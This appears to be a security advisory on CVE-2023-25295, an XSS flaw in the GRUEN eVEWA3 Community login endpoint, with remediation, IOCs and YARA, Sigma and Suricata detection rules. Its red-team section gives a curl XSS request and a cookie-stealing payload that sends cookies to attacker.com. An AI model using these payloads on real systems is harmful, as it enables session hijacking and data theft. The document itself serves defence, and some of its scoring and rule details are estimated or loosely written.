CVE-2023-25295

Executive Summary

CVE-2023-25295 is a Cross-Site Scripting (XSS) vulnerability identified in the GRUEN eVEWA3 Community software, affecting versions 31 through 53. The flaw resides in the evewa3ajax.php file, where insufficient input sanitization allows an attacker to inject malicious scripts via a crafted request to the login panel. Successful exploitation can lead to privilege escalation, session hijacking, or data theft. The vulnerability has a public proof-of-concept (PoC) but no official patch or vendor advisory has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes it a persistent risk for unsecured instances.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a standalone web application (GRUEN eVEWA3 Community) and does not involve package manager dependencies.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the vulnerability characteristics (XSS via login panel, privilege escalation potential), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must click or load the crafted request
• Scope (S): Changed (C) – XSS can impact other components
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): None (N)

Estimated CVSS Score: 8.1 (High)

Threat Level: High – due to the potential for privilege escalation and the lack of a patch.

Deep Dive & Mechanics

The vulnerability is a stored or reflected XSS in the evewa3ajax.php endpoint. The login panel processes user-supplied input without proper sanitization or output encoding. An attacker can craft a malicious request containing JavaScript payloads (e.g., <script>alert('XSS')</script>) that, when processed by the server, is stored or reflected back to the victim's browser. This allows the attacker to execute arbitrary JavaScript in the context of the victim's session, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

The specific parameter(s) in evewa3ajax.php that are vulnerable are not publicly documented, but the attack vector is via the login panel, suggesting the username or password fields (or a hidden parameter) are not sanitized.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// evewa3ajax.php (vulnerable)
$username = $_POST['username'];
echo "Welcome, " . $username; // No sanitization

Patched Code (Conceptual):

// evewa3ajax.php (patched)
$username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
echo "Welcome, " . $username; // Properly encoded

Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running GRUEN eVEWA3 Community version 31-53
• Network access to the login panel (e.g., http://target/evewa3ajax.php)

Exploit Steps:

1. Craft a malicious request to the login panel with an XSS payload in a vulnerable parameter.
2. Example using curl:

   curl -X POST http://target/evewa3ajax.php -d "username=<script>alert('XSS')</script>&password=test"
   

3. If the payload is reflected, the victim's browser will execute the script.
4. For privilege escalation, use a payload that steals session cookies:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

Note: No public exploit-db code is available, so the above is a generic XSS exploitation.

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to evewa3ajax.php for suspicious parameters containing <script>, onerror=, or other XSS patterns.
• Use WAF rules to block common XSS payloads.

Mitigation:

• Apply input validation and output encoding (see Remediation section).
• Restrict access to the login panel via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /evewa3ajax.php with parameters containing <script>, %3Cscript%3E, or similar encoded XSS patterns.
  • Outbound connections from the target to attacker-controlled domains (e.g., for cookie exfiltration).
• File IOCs:
  • Modified evewa3ajax.php file (if attacker gains write access).
  • Suspicious log entries in web server logs (e.g., alert('XSS') in request parameters).
• Behavioral IOCs:
  • Unexpected JavaScript execution in the context of the eVEWA3 application.
  • Unauthorized privilege escalation (e.g., admin actions performed by non-admin users).

Detection Engineering

YARA Rule

rule CVE_2023_25295_XSS {
    meta:
        description = "Detects XSS payloads targeting GRUEN eVEWA3 Community login panel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-25295"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /javascript\s*:/is
        $param = "evewa3ajax.php"
    condition:
        $param and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: XSS Attempt Against GRUEN eVEWA3 Login Panel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attacks targeting CVE-2023-25295
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'evewa3ajax.php'
        cs-uri-query|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in admin panels (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-25295 XSS Attempt Against GRUEN eVEWA3";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"evewa3ajax.php"; http_uri;
    content:"<script"; http_client_body;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all user inputs in evewa3ajax.php using htmlspecialchars() or equivalent.
2. Output Encoding: Encode all output to prevent script execution.
3. WAF Rules: Deploy Web Application Firewall rules to block XSS payloads.
4. Access Control: Restrict access to the login panel to trusted IPs only.

Long-Term Actions:

• Contact GRUEN for an official patch or upgrade to a non-vulnerable version (if available).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits and penetration testing.

Patch Status: UNKNOWN / UNPATCHED – No official patch exists. The vendor has not released a fix.

Valters IT